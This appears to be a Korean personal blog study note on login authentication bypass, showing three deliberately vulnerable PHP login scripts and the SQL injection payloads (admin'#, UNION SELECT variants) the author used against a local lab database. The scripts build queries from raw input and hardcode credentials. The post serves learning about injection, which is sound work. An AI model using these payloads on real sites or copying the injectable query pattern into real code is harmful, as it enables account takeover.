1. 식별&인증 동시
loginProc.php
<?php
session_start();
// 데이터베이스 연결
$servername = "localhost";
$username = "user";
$password = "1234";
$dbname = "my_site";
$conn = mysqli_connect($servername, $username, $password, $dbname);
/* if($conn){
echo "MySQL 접속 성공";
}else{
echo "MySQL 접속 실패";
} */
// 폼 데이터 처리
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$user_id = $_POST["user_id"];
$password = $_POST["password"];
// 사용자 인증
$sql = "SELECT * FROM member WHERE user_id='$user_id' AND password='$password'"; #식별&인증 동시
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) == 1) {
// 로그인 성공
session_start();
$_SESSION["user_id"] = $user_id;
echo "<script>location.replace('index.php');</script>";
exit;
} else {
// 로그인 실패
echo "<script>alert('Invalid ID or Password')</script>";
echo "<script>location.replace('login.php');</script>";
exit;
}
}
?>
$sql = "SELECT * FROM member WHERE user_id='$user_id' AND password='$password'";
sql 변수를 보면 식별과 인증을 동시에 처리하는 것을 볼 수 있다.
로그인 페이지에서 저것을 기반으로 SQL Injection을 해보자


주석을 이용한 방법 : admin'#
2. 식별&인증 분리(1)
loginProc2.php
<?php
ini_set('display_errors', 1);
session_start();
// 데이터베이스 연결
$servername = "localhost";
$username = "user";
$password = "1234";
$dbname = "my_site";
$conn = mysqli_connect($servername, $username, $password, $dbname);
// 폼 데이터 처리
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$user_id = $_POST["user_id"];
$password = $_POST["password"];
// 사용자 인증
$sql = "SELECT * FROM member WHERE user_id='$user_id'";
$result = mysqli_query($conn, $sql);
if (!$result) {
die('MySQL Error: ' . mysqli_error($conn));
}
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
if ($row["password"] == $password) {
// 로그인 성공
session_start();
$_SESSION["user_id"] = $user_id;
echo "<script>location.replace('index.php');</script>";
exit;
}else {
// 로그인 실패
echo "<script>alert('Invalid ID or Password')</script>";
echo "<script>location.replace('login2.php');</script>";
exit;
}
}else {
// 로그인 실패
echo "<script>alert('Invalid ID or Password')</script>";
echo "<script>location.replace('login2.php');</script>";
exit;
}
}
?>
SQL Injection 을 하기위해선 컬럼값을 알아야하지만
로그인 인증 우회 종류에 대해 공부하는 것이기 때문에
DB에서 미리 알아왔다 ㅎㅎ;

ID -> x' union select '1', 'admin', '3', '4', '5' , '6', '7', '8', '9' #
비밀번호 -> 3을 입력했더니 로그인이 됬다.
'3' 자리에 password컬럼이 있어서 로그인이 성공한 것 같다.
9 컬럼자리의 timestamp는 타입을 어떻게 해야하나 고민했는데 그냥 문자열로 하면 되는 것 같다.


3. 식별&인증 분리(2)
// 사용자 인증
$sql = "SELECT password FROM member WHERE user_id='$user_id'";
$result = mysqli_query($conn, $sql);
if (!$result) {
die('MySQL Error: ' . mysqli_error($conn));
}
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
if ($row["password"] == $password) {
// 로그인 성공
session_start();
$_SESSION["user_id"] = $user_id;
$_SESSION['user_name'] = $row['user_name'];
echo "<script>location.replace('index.php');</script>";
exit;
}else {
// 로그인 실패
echo "<script>alert('Invalid ID or Password')</script>";
echo "<script>location.replace('login2.php');</script>";
exit;
}
sql구문을 보면 select문에 password만 찾는다
엄청 삽질했던건데 스터디에서 union은 전의 select문과 같은 컬럼수를 가진다고 해서
깨달음을 얻어 풀었다...
$sql = "SELECT password FROM member WHERE user_id='$user_id'"; # sql문구
' union select 'admin #삽입할 sql구문
$sql = "SELECT password FROM member WHERE user_id='x' union select 'admin'"; #삽입되서 서버로 전송되는 sql구문


여기서 ' union select 'admin 으로 하고 비밀번호를 아무거나 하니까 로그인이 안되서 sql구문을 보니까
password만을 찾는 select문이어서 admin으로 비밀번호를 치니까 로그인이 됬다...
정확한 이유는 모르겠는데 고민해봐야겠다.
'Security > Web' 카테고리의 다른 글
| SQL Injection 정리 (0) | 2023.05.07 |
|---|---|
| [Web] Same Origin Policy(SOP) (0) | 2023.04.20 |
| [Python] RSA 암호 구현 (0) | 2023.04.11 |
| 로그인 인증 로직 (0) | 2023.04.10 |
| [Wargame] [Python] 미스터 브루트 (0) | 2023.04.09 |